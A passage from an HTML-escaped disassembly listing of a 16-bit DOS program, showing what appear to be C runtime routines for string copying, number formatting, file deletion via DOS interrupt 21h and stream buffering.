CX,SI&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt; &lt;br /&gt;LOCLOOP_110:&lt;br /&gt;        DEC    SI&lt;br /&gt;        MOV    AL,[SI]&lt;br /&gt;        SUB    AL,0AH&lt;br /&gt;        JNC    LOC_111            ; Jump if carry=0&lt;br /&gt;        ADD    AL,3AH            ; ':'&lt;br /&gt;        JMP    SHORT LOC_112        ; (0AB4)&lt;br /&gt;LOC_111:&lt;br /&gt;        ADD    AL,[BP+4]&lt;br /&gt;LOC_112:&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        LOOP    LOCLOOP_110        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;LOC_113:&lt;br /&gt;        MOV    AL,0&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    AX,[BP+0AH]&lt;br /&gt;        JMP    SHORT LOC_114        ; (0AC0)&lt;br /&gt;LOC_114:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN    0CH&lt;br /&gt;SUB_30        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 83H, 7EH, 8&lt;br /&gt;        DB    0AH, 75H, 6, 8BH, 46H, 4&lt;br /&gt;        DB    99H, 0EBH, 5, 8BH, 46H, 4&lt;br /&gt;        DB    33H, 0D2H, 52H, 50H, 0FFH, 76H&lt;br /&gt;        DB    6, 0FFH, 76H, 8, 0B0H, 1&lt;br /&gt;        DB    50H, 0B0H, 61H, 50H, 0E8H, 5CH&lt;br /&gt;        DB    0FFH, 0EBH, 0&lt;br /&gt;LOC_115:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;        DB    55H, 8BH, 0ECH, 0FFH, 76H, 6&lt;br /&gt;        DB    0FFH, 76H, 4, 0FFH, 76H, 8&lt;br /&gt;        DB    0FFH, 76H, 0AH, 0B0H, 0, 50H&lt;br /&gt;        DB    0B0H, 61H, 50H, 0E8H, 40H, 0FFH&lt;br /&gt;        DB    0EBH, 0, 5DH, 0C3H, 55H, 8BH&lt;br /&gt;        DB    0ECH, 0FFH, 76H, 6, 0FFH, 76H&lt;br /&gt;        DB    4, 0FFH, 76H, 8, 0FFH, 76H&lt;br /&gt;        DB    0AH, 83H, 7EH, 0AH, 0AH, 75H&lt;br /&gt;        DB    5, 0B8H, 1, 0, 0EBH, 2&lt;br /&gt;        DB    33H, 0C0H, 50H, 0B0H, 61H, 50H&lt;br /&gt;        DB    0E8H, 19H, 0FFH, 0EBH, 0&lt;br /&gt;LOC_116:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_31        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    AH,41H            ; 'A'&lt;br /&gt;        MOV    DX,[BP+4]&lt;br /&gt;        INT    21H            ; DOS Services  ah=function 41h&lt;br /&gt;                        ;  delete file, name @ ds:dx&lt;br /&gt;        JC    LOC_117            ; Jump if carry Set&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_118        ; (0B4A)&lt;br /&gt;LOC_117:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_10            ; (031F)&lt;br /&gt;        JMP    SHORT LOC_118        ; (0B4A)&lt;br /&gt;LOC_118:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_31        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_32        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        MOV    DX,DI&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        MOV    CX,0FFFFH&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        LEA    SI,[DI-1]        ; Load effective addr&lt;br /&gt;        MOV    DI,[BP+6]&lt;br /&gt;        MOV    CX,0FFFFH&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        NOT    CX&lt;br /&gt;        SUB    DI,CX&lt;br /&gt;        XCHG    SI,DI&lt;br /&gt;        TEST    SI,1&lt;br /&gt;        JZ    LOC_119            ; Jump if zero&lt;br /&gt;        MOVSB                ; Mov [si] to es:[di]&lt;br /&gt;        DEC    CX&lt;br /&gt;LOC_119:&lt;br /&gt;        SHR    CX,1            ; Shift w/zeros fill&lt;br /&gt;        REP    MOVSW            ; Rep while cx&gt;0 Mov [si] to es:[di]&lt;br /&gt;        JNC    LOC_120            ; Jump if carry=0&lt;br /&gt;        MOVSB                ; Mov [si] to es:[di]&lt;br /&gt;LOC_120:&lt;br /&gt;        MOV    AX,DX&lt;br /&gt;        JMP    SHORT LOC_121        ; (0B84)&lt;br /&gt;LOC_121:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_32        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_33        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        PUSH    DS&lt;br /&gt;        POP    ES&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt;        MOV    DI,[BP+6]&lt;br /&gt;        MOV    SI,DI&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        MOV    CX,0FFFFH&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        NOT    CX&lt;br /&gt;        MOV    DI,[BP+4]&lt;br /&gt;        REP    MOVSB            ; Rep while cx&gt;0 Mov [si] to es:[di]&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        JMP    SHORT LOC_122        ; (0BA8)&lt;br /&gt;LOC_122:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_33        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 56H, 57H, 1EH&lt;br /&gt;        DB    7, 8BH, 7EH, 4, 8BH, 76H&lt;br /&gt;        DB    6, 8BH, 4EH, 8, 0D1H, 0E9H&lt;br /&gt;        DB    0FCH, 0F3H, 0A5H, 73H, 1, 0A4H&lt;br /&gt;LOC_123:&lt;br /&gt;        MOV    AX,[BP+4]&lt;br /&gt;        JMP    SHORT LOC_124        ; (0BC9)&lt;br /&gt;LOC_124:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;        DB    0BAH, 0AAH, 3, 0EBH, 3, 0BAH&lt;br /&gt;        DB    0AFH, 3, 0B9H, 5, 0, 90H&lt;br /&gt;        DB    0B4H, 40H, 0BBH, 2, 0, 0CDH&lt;br /&gt;        DB    21H, 0B9H, 27H, 0, 90H, 0BAH&lt;br /&gt;        DB    0B4H, 3, 0B4H, 40H, 0CDH, 21H&lt;br /&gt;        DB    0E9H, 0F4H, 0F5H&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_34        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    SI,[BP+4]&lt;br /&gt;        MOV    AX,[SI+0EH]&lt;br /&gt;        CMP    AX,SI&lt;br /&gt;        JE    LOC_125            ; Jump if equal&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_130        ; (0C68)&lt;br /&gt;LOC_125:&lt;br /&gt;        CMP    WORD PTR [SI],0&lt;br /&gt;        JL    LOC_128            ; Jump if &lt;&lt;br /&gt;        TEST    WORD PTR [SI+2],8&lt;br /&gt;        JNZ    LOC_126            ; Jump if not zero&lt;br /&gt;        MOV    AX,[SI+0AH]&lt;br /&gt;        MOV    DX,SI&lt;br /&gt;        ADD    DX,5&lt;br /&gt;        CMP    AX,DX&lt;br /&gt;        JNE    LOC_127            ; Jump if not equal&lt;br /&gt;LOC_126:&lt;br /&gt;        MOV    WORD PTR [SI],0&lt;br /&gt;        MOV    AX,[SI+0AH]&lt;br /&gt;        MOV    DX,SI&lt;br /&gt;        ADD    DX,5&lt;br /&gt;        CMP    AX,DX&lt;br /&gt;        JNE    LOC_127            ; Jump if not equal&lt;br /&gt;        MOV    AX,[SI+8]&lt;br /&gt;        MOV    [SI+0AH],AX&lt;br /&gt;LOC_127:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_130        ; (0C68)&lt;br /&gt;LOC_128:&lt;br /&gt;        MOV    DI,[SI+6]&lt;br /&gt;        ADD    DI,[SI]&lt;br /&gt;        INC    DI&lt;br /&gt;        SUB    [SI],DI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    AX,[SI+8]&lt;br /&gt;        MOV    [SI+0AH],AX&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AL,[SI+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_27            ; (08C5)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        CMP    AX,DI&lt;br /&gt;        JE    LOC_129            ; Jump if equal&lt;br /&gt;        TEST    WORD PTR [SI+2],200H&lt;br /&gt;        JNZ    LOC_129            ; Jump if not zero&lt;br /&gt;        OR    WORD PTR [SI+2],10H&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_130        ; (0C68)&lt;br /&gt;LOC_129:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        JMP    SHORT LOC_130        ; (0C68)&lt;br /&gt;LOC_130:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_34        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_35        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    BX,[BP+6]&lt;br /&gt;        DEC    WORD PTR [BX]&lt;br /&gt;        PUSH    WORD PTR [BP+6]&lt;br /&gt;        MOV    AL,[BP+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_36            ; (0C85)&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        JMP    SHORT LOC_131        ; (0C83)&lt;br /&gt;LOC_131:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_35        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_36        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,2&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    SI,[BP+6]&lt;br /&gt;        MOV    AL,[BP+4]&lt;br /&gt;        MOV    [BP-1],AL&lt;br /&gt;LOC_132:&lt;br /&gt;        INC    WORD PTR [SI]&lt;br /&gt;        JGE    LOC_135            ; Jump if &gt; or =&lt;br /&gt;        MOV    AL,[BP-1]&lt;br /&gt;        INC    WORD PTR [SI+0AH]&lt;br /&gt;        MOV    BX,[SI+0AH]&lt;br /&gt;        MOV    [BX-1],AL&lt;br /&gt;        TEST    WORD PTR [SI+2],8&lt;br /&gt;        JZ    LOC_134            ; Jump if zero&lt;br /&gt;        CMP    BYTE PTR [BP-1],0AH&lt;br /&gt;        JE    LOC_133            ; Jump if equal&lt;br /&gt;        CMP    BYTE PTR [BP-1],0DH&lt;br /&gt;        JNE    LOC_134            ; Jump if not equal&lt;br /&gt;LOC_133:&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_34            ; (0BEE)&lt;br /&gt;        POP    CX&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_134            ; Jump if zero&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    LOC_149            ; (0DB0)&lt;br /&gt;LOC_134:&lt;br /&gt;        MOV    AL,[BP-1]&lt;br /&gt;        MOV    AH,0&lt;br /&gt;        JMP    LOC_149            ; (0DB0)&lt;br /&gt;LOC_135:&lt;br /&gt;        DEC    WORD PTR [SI]&lt;br /&gt;        TEST    WORD PTR [SI+2],90H&lt;br /&gt;        JNZ    LOC_136            ; Jump if not zero&lt;br /&gt;        TEST    WORD PTR [SI+2],2&lt;br /&gt;        JNZ    LOC_137            ; Jump if not zero&lt;br /&gt;LOC_136:&lt;br /&gt;        OR    WORD PTR [SI+2],10H&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    LOC_149            ; (0DB0)&lt;br /&gt;LOC_137:&lt;br /&gt;        OR    WORD PTR [SI+2],100H&lt;br /&gt;        CMP    WORD PTR [SI+6],0&lt;br /&gt;        JE    LOC_141            ; Jump if equal&lt;br /&gt;        CMP    WORD PTR [SI],0&lt;br /&gt;        JE    LOC_139            ; Jump if equal&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_34            ; (0BEE)&lt;br /&gt;        POP    CX&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_138            ; Jump if zero&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    LOC_149            ; (0DB0)&lt;br /&gt;LOC_138:&lt;br /&gt;        JMP    SHORT LOC_140        ; (0D15)&lt;br /&gt;LOC_139:&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        MOV    DX,[SI+6]&lt;br /&gt;        SUB    AX,DX&lt;br /&gt;        MOV    [SI],AX&lt;br /&gt;LOC_140:&lt;br /&gt;        JMP    LOC_132            ; (0C95)&lt;br /&gt;        JMP    LOC_149            ; (0DB0)&lt;br /&gt;LOC_141:&lt;br /&gt;        CMP    WORD PTR DS:DATA_34E,0    ; (7FC4:03A8=0AE46H)&lt;br /&gt;        JNE    LOC_145            ; Jump if not equal&lt;br /&gt;        MOV    AX,24EH&lt;br /&gt;        CMP    AX,SI&lt;br /&gt;        JNE    LOC_145            ; Jump if not equal&lt;br /&gt;        MOV    AL,[SI+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_25            ; (07BA)&lt;br /&gt;        POP    CX&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JNZ    LOC_142            ; Jump if not zero&lt;br /&gt;        AND    WORD PTR [SI+2],0FDFFH&lt;br /&gt;LOC_142:&lt;br /&gt;        MOV    AX,200H&lt;br /&gt;        PUSH    AX&lt;br /&gt;        TEST    WORD PTR [SI+2],200H&lt;br /&gt;        JZ    LOC_143            ; Jump if zero&lt;br /&gt;        MOV    AX,2&lt;br /&gt;        JMP    SHORT LOC_144        ; (0D4D)&lt;br /&gt;LOC_143:&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;LOC_144:&lt;br /&gt;        PUSH    AX&lt;br /&gt;        XOR    AX,AX            ; Zero register&lt;br /&gt;        PUSH    AX&lt;br /&gt;        PUSH    SI&lt;br /&gt;        CALL    SUB_26            ; (07D2)&lt;br /&gt;        ADD    SP,8&lt;br /&gt;        JMP    LOC_137            ; (0CEA)&lt;br /&gt;        nop                ;*Fixup for MASM (V)&lt;br /&gt;LOC_145:&lt;br /&gt;        CMP    BYTE PTR [BP-1],0AH&lt;br /&gt;        JNE    LOC_146            ; Jump if not equal&lt;br /&gt;        TEST    WORD PTR [SI+2],40H&lt;br /&gt;        JNZ    LOC_146            ; Jump if not zero&lt;br /&gt;        MOV    AX,1&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AX,3DCH&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AL,[SI+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_28            ; (09D8)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        CMP    AX,1&lt;br /&gt;        JNE    LOC_147            ; Jump if not equal&lt;br /&gt;LOC_146:&lt;br /&gt;        MOV    AX,1&lt;br /&gt;        PUSH    AX&lt;br /&gt;        LEA    AX,[BP+4]        ; Load effective addr&lt;br /&gt;        PUSH    AX&lt;br /&gt;        MOV    AL,[SI+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_28            ; (09D8)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        CMP    AX,1&lt;br /&gt;        JE    LOC_148            ; Jump if equal&lt;br /&gt;LOC_147:&lt;br /&gt;        TEST    WORD PTR [SI+2],200H&lt;br /&gt;        JNZ    LOC_148            ; Jump if not zero&lt;br /&gt;        OR    WORD PTR [SI+2],10H&lt;br /&gt;        nop                ;*Fixup for MASM (M)&lt;br /&gt;        MOV    AX,0FFFFH&lt;br /&gt;        JMP    SHORT LOC_149        ; (0DB0)&lt;br /&gt;LOC_148:&lt;br /&gt;        MOV    AL,[BP-1]&lt;br /&gt;        MOV    AH,0&lt;br /&gt;        JMP    SHORT LOC_149        ; (0DB0)&lt;br /&gt;LOC_149:&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN&lt;br /&gt;SUB_36        ENDP&lt;br /&gt; &lt;br /&gt;        DB    55H, 8BH, 0ECH, 56H, 8BH, 76H&lt;br /&gt;        DB    4, 0B8H, 4EH, 2, 50H, 56H&lt;br /&gt;        DB    0E8H, 0C1H, 0FEH, 59H, 59H, 0EBH&lt;br /&gt;        DB    0, 5EH, 5DH, 0C3H, 55H, 8BH&lt;br /&gt;        DB    0ECH, 83H, 0ECH, 2, 56H, 57H&lt;br /&gt;        DB    8BH, 76H, 4, 8BH, 7EH, 6&lt;br /&gt;        DB    47H, 0F7H, 44H, 2, 8, 0&lt;br /&gt;        DB    74H, 23H, 0EBH, 2&lt;br /&gt;LOC_150:&lt;br /&gt;        JMP    SHORT LOC_151        ; (0DE5)&lt;br /&gt;LOC_151:&lt;br /&gt;        DEC    DI&lt;br /&gt;        MOV    AX,DI&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_152            ; Jump if zero&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    BX,[BP+8]&lt;br /&gt;        INC    WORD PTR [BP+8]&lt;br /&gt;        MOV    AL,[BX]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_36            ; (0C85)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;        CMP    AX,0FFFFH&lt;br /&gt;        JNE    LOC_150            ; Jump if not equal&lt;br /&gt;LOC_152:&lt;br /&gt;        JMP    LOC_159            ; (0E79)&lt;br /&gt;        DB    0F7H, 44H, 2, 40H, 0, 74H&lt;br /&gt;        DB    37H, 83H, 7CH, 6, 0, 74H&lt;br /&gt;        DB    31H, 8BH, 44H, 6, 3BH, 0C7H&lt;br /&gt;        DB    73H, 2AH, 83H, 3CH, 0, 74H&lt;br /&gt;        DB    0DH, 56H, 0E8H, 0CDH, 0FDH, 59H&lt;br /&gt;        DB    0BH, 0C0H, 74H, 4, 33H, 0C0H&lt;br /&gt;        DB    0EBH&lt;br /&gt;        DB    53H&lt;br /&gt;LOC_153:&lt;br /&gt;        DEC    DI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        PUSH    WORD PTR [BP+8]&lt;br /&gt;        MOV    AL,[SI+4]&lt;br /&gt;        CBW                ; Convrt byte to word&lt;br /&gt;        PUSH    AX&lt;br /&gt;        CALL    SUB_28            ; (09D8)&lt;br /&gt;        ADD    SP,6&lt;br /&gt;        MOV    [BP-2],AX&lt;br /&gt;        SUB    DI,[BP-2]&lt;br /&gt;        JMP    SHORT LOC_159        ; (0E79)&lt;br /&gt;LOC_154:&lt;br /&gt;        JMP    SHORT LOC_156        ; (0E46)&lt;br /&gt;LOC_155:&lt;br /&gt;        JMP    SHORT LOC_156        ; (0E46)&lt;br /&gt;LOC_156:&lt;br /&gt;        DEC    DI&lt;br /&gt;        MOV    AX,DI&lt;br /&gt;        OR    AX,AX            ; Zero ?&lt;br /&gt;        JZ    LOC_159            ; Jump if zero&lt;br /&gt;        INC    WORD PTR [SI]&lt;br /&gt;        JGE    LOC_157            ; Jump if &gt; or =&lt;br /&gt;        MOV    BX,[BP+8]&lt;br /&gt;        INC    WORD PTR [BP+8]&lt;br /&gt;        MOV    AL,[BX]&lt;br /&gt;        INC    WORD PTR [SI+0AH]&lt;br /&gt;        MOV    BX,[SI+0AH]&lt;br /&gt;        MOV    [BX-1],AL&lt;br /&gt;        MOV    AH,0&lt;br /&gt;        JMP    SHORT LOC_158        ; (0E74)&lt;br /&gt;LOC_157:&lt;br /&gt;        PUSH    SI&lt;br /&gt;        MOV    BX,[BP+8]&lt;br /&gt;        INC    WORD PTR [BP+8]&lt;br /&gt;        PUSH    WORD PTR [BX]&lt;br /&gt;        CALL    SUB_35            ; (0C6C)&lt;br /&gt;        POP    CX&lt;br /&gt;        POP    CX&lt;br /&gt;LOC_158:&lt;br /&gt;        CMP    AX,0FFFFH&lt;br /&gt;        JNE    LOC_155            ; Jump if not equal&lt;br /&gt;LOC_159:&lt;br /&gt;        MOV    AX,DI&lt;br /&gt;        JMP    SHORT LOC_160        ; (0E7D)&lt;br /&gt;LOC_160:&lt;br /&gt;        POP    DI&lt;br /&gt;        POP    SI&lt;br /&gt;        MOV    SP,BP&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN    6&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_37        PROC    NEAR&lt;br /&gt;        JMP    WORD PTR DS:[45CH]    ; (8134:045C=0BCDH)&lt;br /&gt; &lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt; &lt;br /&gt;SUB_38:&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        MOV    DX,[BP+4]&lt;br /&gt;        MOV    CX,0F04H&lt;br /&gt;        MOV    BX,3E5H&lt;br /&gt;        CLD                ; Clear direction&lt;br /&gt;        MOV    AL,DH&lt;br /&gt;        SHR    AL,CL            ; Shift w/zeros fill&lt;br /&gt;        XLAT                ; al=[al+[bx]] table&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        MOV    AL,DH&lt;br /&gt;        AND    AL,CH&lt;br /&gt;        XLAT                ; al=[al+[bx]] table&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        MOV    AL,DL&lt;br /&gt;        SHR    AL,CL            ; Shift w/zeros fill&lt;br /&gt;        XLAT                ; al=[al+[bx]] table&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        MOV    AL,DL&lt;br /&gt;        AND    AL,CH&lt;br /&gt;        XLAT                ; al=[al+[bx]] table&lt;br /&gt;        STOSB                ; Store al to es:[di]&lt;br /&gt;        JMP    SHORT LOC_161        ; (0EB0)&lt;br /&gt;LOC_161:&lt;br /&gt;        POP    BP&lt;br /&gt;        RETN    2&lt;br /&gt;SUB_37        ENDP&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;SUB_39        PROC    NEAR&lt;br /&gt;        PUSH    BP&lt;br /&gt;        MOV    BP,SP&lt;br /&gt;        SUB    SP,96H&lt;br /&gt;        PUSH    SI&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    WORD PTR [BP-56H],0&lt;br /&gt;        MOV    BYTE PTR [BP-53H],50H    ; 'P'&lt;br /&gt;        JMP    SHORT LOC_163        ; (0F00)&lt;br /&gt; &lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt; &lt;br /&gt;SUB_40:&lt;br /&gt;        PUSH    DI&lt;br /&gt;        MOV    CX,0FFFFH&lt;br /&gt;        XOR    AL,AL            ; Zero register&lt;br /&gt;        REPNE    SCASB            ; Rept zf=0+cx&gt;0 Scan es:[di] for al&lt;br /&gt;        NOT    CX&lt;br /&gt;        DEC    CX&lt;br /&gt;        POP    DI&lt;br /&gt;        RETN&lt;br /&gt; &lt;br /&gt;;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt; &lt;br 